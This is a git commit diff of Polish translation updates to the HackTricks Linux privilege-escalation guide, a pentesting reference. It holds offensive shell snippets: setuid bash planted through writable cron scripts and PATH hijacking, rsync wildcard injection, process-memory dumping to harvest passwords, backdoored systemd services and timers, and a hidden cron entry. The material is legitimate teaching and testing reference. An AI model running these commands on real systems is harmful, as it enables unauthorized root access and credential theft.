mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 00:20:59 +00:00
Translated ['linux-hardening/privilege-escalation/README.md', 'network-s
This commit is contained in:
parent
8bc5b921de
commit
735a792766
7 changed files with 447 additions and 373 deletions
|
@ -49,7 +49,7 @@
|
||||||
* [Specific Software/File-Type Tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md)
|
* [Specific Software/File-Type Tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md)
|
||||||
* [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
* [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||||
* [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
|
* [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
|
||||||
* [Desofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
* [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
||||||
* [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
|
* [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
|
||||||
* [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
|
* [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
|
||||||
* [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
|
* [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
|
||||||
|
|
|
@ -10,7 +10,7 @@ Inne sposoby wsparcia HackTricks:
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -26,7 +26,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems
|
||||||
```
|
```
|
||||||
### Ścieżka
|
### Ścieżka
|
||||||
|
|
||||||
Jeśli **masz uprawnienia do zapisu w dowolnym folderze wewnątrz zmiennej `PATH`**, możesz próbować przejąć kontrolę nad niektórymi bibliotekami lub binarnymi plikami:
|
Jeśli **masz uprawnienia do zapisu w dowolnym folderze wewnątrz zmiennej `PATH`**, możesz być w stanie przejąć kontrolę nad niektórymi bibliotekami lub binarkami:
|
||||||
```bash
|
```bash
|
||||||
echo $PATH
|
echo $PATH
|
||||||
```
|
```
|
||||||
|
@ -36,9 +36,9 @@ Czy w zmiennych środowiskowych znajdują się interesujące informacje, hasła
|
||||||
```bash
|
```bash
|
||||||
(env || set) 2>/dev/null
|
(env || set) 2>/dev/null
|
||||||
```
|
```
|
||||||
### Wykorzystania jądra
|
### Wykorzystanie jądra
|
||||||
|
|
||||||
Sprawdź wersję jądra i czy istnieje jakiś exploit, który może zostać wykorzystany do eskalacji uprawnień
|
Sprawdź wersję jądra i czy istnieje jakieś wykorzystanie, które może zostać użyte do eskalacji uprawnień
|
||||||
```bash
|
```bash
|
||||||
cat /proc/version
|
cat /proc/version
|
||||||
uname -a
|
uname -a
|
||||||
|
@ -87,7 +87,7 @@ sudo -u#-1 /bin/bash
|
||||||
```
|
```
|
||||||
### Weryfikacja podpisu Dmesg nie powiodła się
|
### Weryfikacja podpisu Dmesg nie powiodła się
|
||||||
|
|
||||||
Sprawdź **skrzynkę smasher2 HTB** w celu zobaczenia **przykładu**, jak ta podatność mogłaby zostać wykorzystana
|
Sprawdź **skrzynkę smasher2 HTB** w celu uzyskania **przykładu**, jak ta podatność może być wykorzystana
|
||||||
```bash
|
```bash
|
||||||
dmesg 2>/dev/null | grep "signature"
|
dmesg 2>/dev/null | grep "signature"
|
||||||
```
|
```
|
||||||
|
@ -114,7 +114,7 @@ fi
|
||||||
```
|
```
|
||||||
### Grsecurity
|
### Grsecurity
|
||||||
|
|
||||||
Grsecurity to zbiór zabezpieczeń jądra Linux, które zapewniają dodatkową ochronę przed atakami typu privilege escalation.
|
### Grsecurity
|
||||||
```bash
|
```bash
|
||||||
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
|
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
|
||||||
```
|
```
|
||||||
|
@ -124,7 +124,7 @@ Grsecurity to zbiór zabezpieczeń jądra Linux, które zapewniają dodatkową o
|
||||||
```
|
```
|
||||||
### Execshield
|
### Execshield
|
||||||
|
|
||||||
Execshield to technika ochrony stosowana w systemach Linux, która ma na celu zabezpieczenie pamięci przed atakami typu nadpisanie wskaźnika na stosie. Wprowadza ona mechanizmy takie jak losowe adresy stosu, losowe adresy bibliotek współdzielonych oraz ochronę przed wykonaniem kodu na stosie.
|
### Execshield
|
||||||
```bash
|
```bash
|
||||||
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
|
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
|
||||||
```
|
```
|
||||||
|
@ -136,7 +136,7 @@ Execshield to technika ochrony stosowana w systemach Linux, która ma na celu za
|
||||||
```
|
```
|
||||||
### ASLR
|
### ASLR
|
||||||
|
|
||||||
ASLR (Address Space Layout Randomization) jest techniką zapobiegającą atakom polegającym na przewidywaniu adresów pamięci w systemie operacyjnym. Działa poprzez losowe rozmieszczanie obszarów pamięci programu, co utrudnia przeciwnikowi określenie konkretnych adresów pamięci, które mogą zostać wykorzystane do zwiększenia uprawnień.
|
### ASLR
|
||||||
```bash
|
```bash
|
||||||
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
|
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
|
||||||
#If 0, not enabled
|
#If 0, not enabled
|
||||||
|
@ -168,10 +168,10 @@ Sprawdź również, czy **zainstalowano jakikolwiek kompilator**. Jest to przyda
|
||||||
```bash
|
```bash
|
||||||
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
|
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
|
||||||
```
|
```
|
||||||
### Zainstalowane Oprogramowanie z Lukami
|
### Zainstalowane oprogramowanie podatne
|
||||||
|
|
||||||
Sprawdź **wersję zainstalowanych pakietów i usług**. Być może istnieje stara wersja Nagiosa (na przykład), która może być wykorzystana do eskalacji uprawnień...\
|
Sprawdź **wersję zainstalowanych pakietów i usług**. Być może istnieje stara wersja Nagiosa (na przykład), która może być wykorzystana do eskalacji uprawnień...\
|
||||||
Zaleca się ręczne sprawdzenie wersji najbardziej podejrzanego oprogramowania zainstalowanego.
|
Zaleca się ręczne sprawdzenie wersji najbardziej podejrzanego zainstalowanego oprogramowania.
|
||||||
```bash
|
```bash
|
||||||
dpkg -l #Debian
|
dpkg -l #Debian
|
||||||
rpm -qa #Centos
|
rpm -qa #Centos
|
||||||
|
@ -184,7 +184,7 @@ _Zauważ, że te polecenia pokażą wiele informacji, które będą w większoś
|
||||||
|
|
||||||
## Procesy
|
## Procesy
|
||||||
|
|
||||||
Sprawdź, **jakie procesy** są uruchomione i sprawdź, czy którykolwiek proces ma **więcej uprawnień, niż powinien** (może to być np. tomcat uruchamiany przez roota?)
|
Sprawdź, **jakie procesy** są uruchomione i sprawdź, czy którykolwiek proces ma **więcej uprawnień niż powinien** (może to być np. tomcat uruchamiany przez roota?)
|
||||||
```bash
|
```bash
|
||||||
ps aux
|
ps aux
|
||||||
ps -ef
|
ps -ef
|
||||||
|
@ -211,12 +211,12 @@ Plik _**/proc/sys/kernel/yama/ptrace\_scope**_ kontroluje dostępność ptrace:
|
||||||
* **kernel.yama.ptrace\_scope = 0**: wszystkie procesy mogą być debugowane, o ile mają takie same uid. To klasyczny sposób działania ptrace.
|
* **kernel.yama.ptrace\_scope = 0**: wszystkie procesy mogą być debugowane, o ile mają takie same uid. To klasyczny sposób działania ptrace.
|
||||||
* **kernel.yama.ptrace\_scope = 1**: tylko proces nadrzędny może być debugowany.
|
* **kernel.yama.ptrace\_scope = 1**: tylko proces nadrzędny może być debugowany.
|
||||||
* **kernel.yama.ptrace\_scope = 2**: Tylko administrator może używać ptrace, ponieważ wymaga to CAP\_SYS\_PTRACE capability.
|
* **kernel.yama.ptrace\_scope = 2**: Tylko administrator może używać ptrace, ponieważ wymaga to CAP\_SYS\_PTRACE capability.
|
||||||
* **kernel.yama.ptrace\_scope = 3**: Żaden proces nie może być śledzony za pomocą ptrace. Po ustawieniu wymagany jest restart, aby ponownie włączyć śledzenie ptrace.
|
* **kernel.yama.ptrace\_scope = 3**: Żaden proces nie może być śledzony za pomocą ptrace. Po ustawieniu wymagany jest restart, aby ponownie włączyć śledzenie.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### GDB
|
#### GDB
|
||||||
|
|
||||||
Jeśli masz dostęp do pamięci usługi FTP (na przykład), możesz uzyskać stertę i przeszukać jej dane uwierzytelniające.
|
Jeśli masz dostęp do pamięci usługi FTP (na przykład), możesz uzyskać stertę i przeszukać w niej dane uwierzytelniające.
|
||||||
```bash
|
```bash
|
||||||
gdb -p <FTP_PROCESS_PID>
|
gdb -p <FTP_PROCESS_PID>
|
||||||
(gdb) info proc mappings
|
(gdb) info proc mappings
|
||||||
|
@ -242,7 +242,7 @@ done
|
||||||
|
|
||||||
#### /proc/$pid/maps & /proc/$pid/mem
|
#### /proc/$pid/maps & /proc/$pid/mem
|
||||||
|
|
||||||
Dla określonego identyfikatora procesu, **mapy pokazują, jak pamięć jest odwzorowana w przestrzeni adresowej tego procesu**; pokazują również **uprawnienia każdego odwzorowanego obszaru**. Plik pseudofiles **mem** **odsłania samą pamięć procesów**. Z pliku **maps** wiemy, które **obszary pamięci są odczytywalne** i ich przesunięcia. Wykorzystujemy tę informację, aby **przeszukać plik mem i zrzucić wszystkie odczytywalne obszary** do pliku.
|
Dla określonego identyfikatora procesu **mapy pokazują, jak pamięć jest odwzorowana w przestrzeni adresowej tego procesu**; pokazuje również **uprawnienia każdego odwzorowanego obszaru**. Plik pseudofiles **mem** ujawnia **samą pamięć procesów**. Z pliku **maps** wiemy, które **obszary pamięci są odczytywalne** i ich przesunięcia. Wykorzystujemy tę informację, aby **przeszukać plik mem i zrzucić wszystkie odczytywalne obszary** do pliku.
|
||||||
```bash
|
```bash
|
||||||
procdump()
|
procdump()
|
||||||
(
|
(
|
||||||
|
@ -264,7 +264,7 @@ strings /dev/mem -n10 | grep -i PASS
|
||||||
```
|
```
|
||||||
### ProcDump dla systemu Linux
|
### ProcDump dla systemu Linux
|
||||||
|
|
||||||
ProcDump to nowe spojrzenie na klasyczne narzędzie ProcDump z pakietu narzędzi Sysinternals dla systemu Windows. Pobierz je z [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
|
ProcDump to nowa wersja narzędzia ProcDump z klasycznego zestawu narzędzi Sysinternals dla systemu Windows. Pobierz go z [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||||
```
|
```
|
||||||
procdump -p 1714
|
procdump -p 1714
|
||||||
|
|
||||||
|
@ -297,7 +297,7 @@ Aby zrzucić pamięć procesu, możesz użyć:
|
||||||
|
|
||||||
* [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
|
* [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||||
* [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Możesz ręcznie usunąć wymagania dotyczące uprawnień roota i zrzucić proces należący do Ciebie
|
* [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Możesz ręcznie usunąć wymagania dotyczące uprawnień roota i zrzucić proces należący do Ciebie
|
||||||
* Skrypt A.5 z [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (wymagany jest root)
|
* Skrypt A.5 z [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (wymagane są uprawnienia roota)
|
||||||
|
|
||||||
### Dane uwierzytelniające z pamięci procesu
|
### Dane uwierzytelniające z pamięci procesu
|
||||||
|
|
||||||
|
@ -308,7 +308,7 @@ Jeśli zauważysz, że proces autentykatora jest uruchomiony:
|
||||||
ps -ef | grep "authenticator"
|
ps -ef | grep "authenticator"
|
||||||
root 2027 2025 0 11:46 ? 00:00:00 authenticator
|
root 2027 2025 0 11:46 ? 00:00:00 authenticator
|
||||||
```
|
```
|
||||||
Możesz wykonać zrzut procesu (zobacz poprzednie sekcje, aby znaleźć różne sposoby na zrzucenie pamięci procesu) i wyszukać poświadczenia wewnątrz pamięci:
|
Możesz wykonać zrzut procesu (zobacz poprzednie sekcje, aby znaleźć różne sposoby na zrzucenie pamięci procesu) i wyszukać poświadczenia w pamięci:
|
||||||
```bash
|
```bash
|
||||||
./dump-memory.sh 2027
|
./dump-memory.sh 2027
|
||||||
strings *.dump | grep -i password
|
strings *.dump | grep -i password
|
||||||
|
@ -342,26 +342,26 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
|
||||||
```
|
```
|
||||||
## Zaplanowane/Cron zadania
|
## Zaplanowane/Cron zadania
|
||||||
|
|
||||||
Sprawdź, czy jakiekolwiek zaplanowane zadanie jest podatne na atak. Być może możesz skorzystać z skryptu wykonywanego przez użytkownika root (luka w wildcard? możliwość modyfikacji plików używanych przez root? wykorzystanie symlinków? utworzenie określonych plików w katalogu używanym przez root?).
|
Sprawdź, czy jakiekolwiek zaplanowane zadanie jest podatne. Być może możesz skorzystać z wykonania skryptu przez użytkownika root (podatność na symbol wieloznaczny? czy można modyfikować pliki, których używa root? użyć dowiązań symbolicznych? utworzyć określone pliki w katalogu, którego używa root?).
|
||||||
```bash
|
```bash
|
||||||
crontab -l
|
crontab -l
|
||||||
ls -al /etc/cron* /etc/at*
|
ls -al /etc/cron* /etc/at*
|
||||||
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
|
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
|
||||||
```
|
```
|
||||||
### Ścieżka Cron
|
### Ścieżka Crona
|
||||||
|
|
||||||
Na przykład, wewnątrz _/etc/crontab_ można znaleźć ścieżkę: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
|
Na przykład, wewnątrz _/etc/crontab_ można znaleźć ścieżkę: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
|
||||||
|
|
||||||
(_Zauważ, że użytkownik "user" ma uprawnienia do zapisu w /home/user_)
|
(_Zauważ, że użytkownik "user" ma uprawnienia do zapisu w /home/user_)
|
||||||
|
|
||||||
Jeśli w tej crontabie użytkownik root spróbuje wykonać jakieś polecenie lub skrypt bez ustawienia ścieżki. Na przykład: _\* \* \* \* root overwrite.sh_\
|
Jeśli wewnątrz tego crontab użytkownik root spróbuje wykonać pewne polecenie lub skrypt bez ustawiania ścieżki. Na przykład: _\* \* \* \* root overwrite.sh_\
|
||||||
W takim przypadku, można uzyskać powłokę roota używając:
|
W takim przypadku, można uzyskać powłokę roota używając:
|
||||||
```bash
|
```bash
|
||||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||||
#Wait cron job to be executed
|
#Wait cron job to be executed
|
||||||
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
|
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
|
||||||
```
|
```
|
||||||
### Cron używający skryptu z symbolem wieloznacznym (Wstrzyknięcie symboli wieloznacznych)
|
### Cron używający skryptu z symbolem wieloznacznym (Wstrzyknięcie Symboli Wieloznacznych)
|
||||||
|
|
||||||
Jeśli skrypt jest wykonywany przez roota i zawiera „**\***” wewnątrz polecenia, można to wykorzystać do wykonania nieoczekiwanych działań (np. eskalacji uprawnień). Przykład:
|
Jeśli skrypt jest wykonywany przez roota i zawiera „**\***” wewnątrz polecenia, można to wykorzystać do wykonania nieoczekiwanych działań (np. eskalacji uprawnień). Przykład:
|
||||||
```bash
|
```bash
|
||||||
|
@ -369,21 +369,21 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys
|
||||||
```
|
```
|
||||||
**Jeśli symbol wieloznaczny poprzedza ścieżkę, na przykład** _**/some/path/\***_, **to nie jest podatne na atak (nawet** _**./\***_ **nie jest).**
|
**Jeśli symbol wieloznaczny poprzedza ścieżkę, na przykład** _**/some/path/\***_, **to nie jest podatne na atak (nawet** _**./\***_ **nie jest).**
|
||||||
|
|
||||||
Przeczytaj następną stronę, aby poznać więcej sztuczek związanych z wykorzystaniem symboli wieloznacznych:
|
Przeczytaj następującą stronę, aby poznać więcej sztuczek związanych z wykorzystaniem symboli wieloznacznych:
|
||||||
|
|
||||||
{% content-ref url="wildcards-spare-tricks.md" %}
|
{% content-ref url="wildcards-spare-tricks.md" %}
|
||||||
[wildcards-spare-tricks.md](wildcards-spare-tricks.md)
|
[wildcards-spare-tricks.md](wildcards-spare-tricks.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Nadpisywanie skryptu Crona i symlink
|
### Nadpisywanie skryptu Cron i symlink
|
||||||
|
|
||||||
Jeśli **możesz modyfikować skrypt Crona** wykonywany przez roota, możesz bardzo łatwo uzyskać dostęp do powłoki:
|
Jeśli **możesz modyfikować skrypt Cron** wykonywany przez roota, możesz bardzo łatwo uzyskać dostęp do powłoki:
|
||||||
```bash
|
```bash
|
||||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
|
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
|
||||||
#Wait until it is executed
|
#Wait until it is executed
|
||||||
/tmp/bash -p
|
/tmp/bash -p
|
||||||
```
|
```
|
||||||
Jeśli skrypt wykonany przez roota używa **katalogu, w którym masz pełny dostęp**, być może przydatne będzie usunięcie tego folderu i **utworzenie symlinku do innego**, służącego skryptowi kontrolowanemu przez ciebie.
|
Jeśli skrypt wykonany przez roota używa **katalogu, w którym masz pełny dostęp**, być może przydatne będzie usunięcie tego folderu i **utworzenie symlinku do innego**, służącego skryptowi kontrolowanemu przez Ciebie.
|
||||||
```bash
|
```bash
|
||||||
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||||
```
|
```
|
||||||
|
@ -395,11 +395,9 @@ Na przykład, aby **monitorować co 0,1s przez 1 minutę**, **sortować według
|
||||||
```bash
|
```bash
|
||||||
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
|
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
|
||||||
```
|
```
|
||||||
**Możesz również użyć** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (to narzędzie monitoruje i wyświetla każdy proces, który się uruchamia).
|
|
||||||
|
|
||||||
### Niewidoczne zadania cron
|
### Niewidoczne zadania cron
|
||||||
|
|
||||||
Możliwe jest utworzenie zadania cron, **dodając znak powrotu karetki po komentarzu** (bez znaku nowej linii), a zadanie cron będzie działać. Przykład (zauważ znak powrotu karetki):
|
Można utworzyć zadanie cron, **umieszczając znak powrotu karetki po komentarzu** (bez znaku nowej linii), a zadanie cron będzie działać. Przykład (zauważ znak powrotu karetki):
|
||||||
```bash
|
```bash
|
||||||
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
|
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
|
||||||
```
|
```
|
||||||
|
@ -407,16 +405,16 @@ Możliwe jest utworzenie zadania cron, **dodając znak powrotu karetki po koment
|
||||||
|
|
||||||
### Pliki _.service_ z możliwością zapisu
|
### Pliki _.service_ z możliwością zapisu
|
||||||
|
|
||||||
Sprawdź, czy możesz zapisać jakikolwiek plik `.service`, jeśli tak, **możesz go zmodyfikować**, aby **wykonywał** twój **tylny wejście** po uruchomieniu, ponownym uruchomieniu lub zatrzymaniu usługi (być może będziesz musiał poczekać, aż maszyna zostanie ponownie uruchomiona).\
|
Sprawdź, czy możesz zapisać jakikolwiek plik `.service`, jeśli tak, **możesz go zmodyfikować**, aby **wykonywał** twój **tylny wejście** podczas **uruchamiania** usługi, **ponownego uruchamiania** lub **zatrzymywania** (być może będziesz musiał poczekać, aż maszyna zostanie ponownie uruchomiona).\
|
||||||
Na przykład, stwórz swoje tylne wejście wewnątrz pliku .service za pomocą **`ExecStart=/tmp/script.sh`**
|
Na przykład, stwórz swoje tylne wejście wewnątrz pliku .service za pomocą **`ExecStart=/tmp/script.sh`**
|
||||||
|
|
||||||
### Binaria usług z możliwością zapisu
|
### Binaria usług z możliwością zapisu
|
||||||
|
|
||||||
Pamiętaj, że jeśli masz **uprawnienia do zapisu do binariów wykonywanych przez usługi**, możesz je zmienić na tylne wejścia, więc gdy usługi zostaną ponownie uruchomione, tylne wejścia zostaną wykonane.
|
Pamiętaj, że jeśli masz **uprawnienia do zapisu nad binariami wykonywanymi przez usługi**, możesz je zmienić na tylne wejścia, więc gdy usługi zostaną ponownie uruchomione, tylne wejścia zostaną wykonane.
|
||||||
|
|
||||||
### Ścieżki systemd - Ścieżki względne
|
### systemd PATH - Ścieżki względne
|
||||||
|
|
||||||
Możesz zobaczyć używaną ścieżkę **systemd** za pomocą:
|
Możesz zobaczyć używaną ścieżkę przez **systemd** za pomocą:
|
||||||
```bash
|
```bash
|
||||||
systemctl show-environment
|
systemctl show-environment
|
||||||
```
|
```
|
||||||
|
@ -426,13 +424,13 @@ ExecStart=faraday-server
|
||||||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
||||||
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
|
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
|
||||||
```
|
```
|
||||||
Następnie utwórz **wykonywalny plik** o **takiej samej nazwie jak względna ścieżka binarna** w folderze PATH systemd, w którym możesz pisać, a gdy usługa zostanie poproszona o wykonanie podatnej akcji (**Start**, **Stop**, **Reload**), zostanie wykonane twoje **tylne drzwi** (zwykle nieuprawnieni użytkownicy nie mogą uruchamiać/zatrzymywać usług, ale sprawdź, czy możesz użyć `sudo -l`).
|
Następnie utwórz **wykonywalny** plik o **takiej samej nazwie jak względna ścieżka binarna** w folderze ścieżki systemd, do którego masz uprawnienia do zapisu, a gdy usługa zostanie poproszona o wykonanie podatnej akcji (**Start**, **Stop**, **Reload**), zostanie wykonane twoje **tylne drzwi** (zwykle nieuprawnieni użytkownicy nie mogą uruchamiać/zatrzymywać usług, ale sprawdź, czy możesz użyć `sudo -l`).
|
||||||
|
|
||||||
**Dowiedz się więcej o usługach za pomocą `man systemd.service`.**
|
**Dowiedz się więcej o usługach za pomocą `man systemd.service`.**
|
||||||
|
|
||||||
## **Timery**
|
## **Timery**
|
||||||
|
|
||||||
**Timery** to pliki jednostek systemd, których nazwa kończy się na `**.timer**`, kontrolujące pliki lub zdarzenia `**.service**`. **Timery** mogą być używane jako alternatywa dla cron, ponieważ posiadają wbudowane wsparcie dla zdarzeń kalendarzowych i zdarzeń czasu monotonicznego oraz mogą być uruchamiane asynchronicznie.
|
**Timery** to pliki jednostek systemd, których nazwa kończy się na `**.timer**`, kontrolujące pliki lub zdarzenia `**.service**`. **Timery** mogą być używane jako alternatywa dla cron-a, ponieważ posiadają wbudowane wsparcie dla zdarzeń kalendarzowych i zdarzeń czasu monotonicznego oraz mogą być uruchamiane asynchronicznie.
|
||||||
|
|
||||||
Możesz wyświetlić wszystkie timery za pomocą:
|
Możesz wyświetlić wszystkie timery za pomocą:
|
||||||
```bash
|
```bash
|
||||||
|
@ -444,7 +442,7 @@ Jeśli możesz zmodyfikować timer, możesz sprawić, że będzie wykonywał ist
|
||||||
```bash
|
```bash
|
||||||
Unit=backdoor.service
|
Unit=backdoor.service
|
||||||
```
|
```
|
||||||
W dokumentacji możesz przeczytać, co to jest jednostka:
|
W dokumentacji możesz przeczytać, co to jest jednostka (Unit):
|
||||||
|
|
||||||
> Jednostka do aktywacji po upływie tego timera. Argumentem jest nazwa jednostki, której sufiks nie jest ".timer". Jeśli nie jest określone, ta wartość domyślnie ustawia się na usługę, która ma taką samą nazwę jak jednostka timera, z wyjątkiem sufiksu. (Patrz powyżej.) Zaleca się, aby nazwa jednostki aktywowanej i nazwa jednostki timera były nazwane identycznie, z wyjątkiem sufiksu.
|
> Jednostka do aktywacji po upływie tego timera. Argumentem jest nazwa jednostki, której sufiks nie jest ".timer". Jeśli nie jest określone, ta wartość domyślnie ustawia się na usługę, która ma taką samą nazwę jak jednostka timera, z wyjątkiem sufiksu. (Patrz powyżej.) Zaleca się, aby nazwa jednostki aktywowanej i nazwa jednostki timera były nazwane identycznie, z wyjątkiem sufiksu.
|
||||||
|
|
||||||
|
@ -472,11 +470,11 @@ Gniazda można skonfigurować za pomocą plików `.socket`.
|
||||||
|
|
||||||
**Dowiedz się więcej o gniazdach za pomocą `man systemd.socket`.** Wewnątrz tego pliku można skonfigurować kilka interesujących parametrów:
|
**Dowiedz się więcej o gniazdach za pomocą `man systemd.socket`.** Wewnątrz tego pliku można skonfigurować kilka interesujących parametrów:
|
||||||
|
|
||||||
* `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Te opcje są różne, ale podsumowanie jest używane do **określenia, gdzie będzie słuchać** gniazdo (ścieżka pliku gniazda AF\_UNIX, adres IPv4/6 i/lub numer portu do nasłuchiwania, itp.)
|
* `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Te opcje są różne, ale podsumowanie jest używane do **wskazania, gdzie będzie słuchać** gniazdo (ścieżka pliku gniazda AF\_UNIX, numer portu IPv4/6, itp.)
|
||||||
